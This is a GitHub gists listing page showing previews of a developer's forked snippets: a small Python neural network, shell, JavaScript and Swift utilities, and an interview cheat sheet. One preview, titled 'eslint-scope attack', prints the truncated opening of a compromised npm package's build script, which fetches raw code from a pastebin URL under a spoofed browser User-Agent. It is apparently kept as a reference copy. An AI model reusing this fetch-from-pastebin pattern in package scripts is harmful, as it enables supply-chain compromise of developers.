Skip to content

Instantly share code, notes, and snippets.

@Gerst20051
Gerst20051 / short_version.py
Created March 28, 2019 02:20 — forked from miloharper/short_version.py
A neural network in 9 lines of Python code.
from numpy import exp, array, random, dot
training_set_inputs = array([[0, 0, 1], [1, 1, 1], [1, 0, 1], [0, 1, 1]])
training_set_outputs = array([[0, 1, 1, 0]]).T
random.seed(1)
synaptic_weights = 2 * random.random((3, 1)) - 1
for iteration in xrange(10000):
output = 1 / (1 + exp(-(dot(training_set_inputs, synaptic_weights))))
synaptic_weights += dot(training_set_inputs.T, (training_set_outputs - output) * output * (1 - output))
print 1 / (1 + exp(-(dot(array([1, 0, 0]), synaptic_weights))))
class NeuralNetwork:
def __init__(self, x, y):
self.input = x
self.weights1 = np.random.rand(self.input.shape[1],4)
self.weights2 = np.random.rand(4,1)
self.y = y
self.output = np.zeros(self.y.shape)
def feedforward(self):
self.layer1 = sigmoid(np.dot(self.input, self.weights1))
@Gerst20051
Gerst20051 / build.js
Created October 21, 2018 00:34 — forked from hzoo/build.js
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@Gerst20051
Gerst20051 / index.js
Created July 19, 2018 17:01 — forked from zkat/index.js
npx is cool
#!/usr/bin/env node
console.log('yay gist')
@Gerst20051
Gerst20051 / git_status_directory.sh
Last active May 14, 2018 19:52 — forked from mzabriskie/README.md
Check Git Status For Directory Of Repos
#!/bin/bash
function git_status_directory {
dir="$1"
if [ -z "$dir" ]; then # No directory has been provided, use current
dir="`pwd`"
fi
if [[ $dir != */ ]]; then # Make sure directory ends with '/'
dir="$dir/*"
else
@Gerst20051
Gerst20051 / combine-rgba-colors.js
Last active October 4, 2017 00:31 — forked from JordanDelcros/combine-rgba-colors.js
Combine two RGBA colors with JavaScript
function blendColors() {
/* https://gist.github.com/JordanDelcros/518396da1c13f75ee057 */
var args = [ ...arguments ];
var base = [ 0, 0, 0, 0 ];
var mix;
var added;
while (added = args.shift()) {
if (typeof added[3] === 'undefined') {
added[3] = 1;
}
@Gerst20051
Gerst20051 / HKLCMTimeUtils.swift
Created April 10, 2017 03:19 — forked from hirohitokato/HKLCMTimeUtils.swift
Convenience Methods/Variables/Operators for CMTime
//
// HKLCMTimeUtils.swift
//
// Created by Hirohito Kato on 2015/01/07.
//
import CoreMedia
// MARK: Initialization
public extension CMTime {
@Gerst20051
Gerst20051 / npm-f3-install.sh
Created April 4, 2017 16:55 — forked from SuperPaintman/npm-f3-install.sh
NPM install for low RAM machins. And "npm install ... killed" problem
#!/bin/bash
#
# Author: SuperPaintman <[email protected]>
#
###
# Constants
###
RETVAL=0
@Gerst20051
Gerst20051 / The Technical Interview Cheat Sheet.md
Created January 25, 2017 21:10 — forked from tsiege/The Technical Interview Cheat Sheet.md
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.

Studying for a Tech Interview Sucks, so Here's a Cheat Sheet to Help

This list is meant to be a both a quick guide and reference for further research into these topics. It's basically a summary of that comp sci course you never took or forgot about, so there's no way it can cover everything in depth. It also will be available as a gist on Github for everyone to edit and add to.

Data Structure Basics

###Array ####Definition:

  • Stores data elements based on an sequential, most commonly 0 based, index.
  • Based on tuples from set theory.
@Gerst20051
Gerst20051 / clean_xcode.sh
Created June 25, 2016 05:06 — forked from Jerrot/clean_xcode.sh
Resets all installed Xcode simulators and deletes the contents of Derived Data
#!/bin/sh
instruments -s devices \
| grep "(\d[.0-9]\+) \[[0-9A-F]\{8\}-[0-9A-F]\{4\}-[0-9A-F]\{4\}-[0-9A-F]\{4\}-[0-9A-F]\{12\}\]" \
| grep -o "[0-9A-F]\{8\}-[0-9A-F]\{4\}-[0-9A-F]\{4\}-[0-9A-F]\{4\}-[0-9A-F]\{12\}" \
| while read -r line ; do
echo "Reseting Simulator with UDID: $line"
xcrun simctl erase $line
done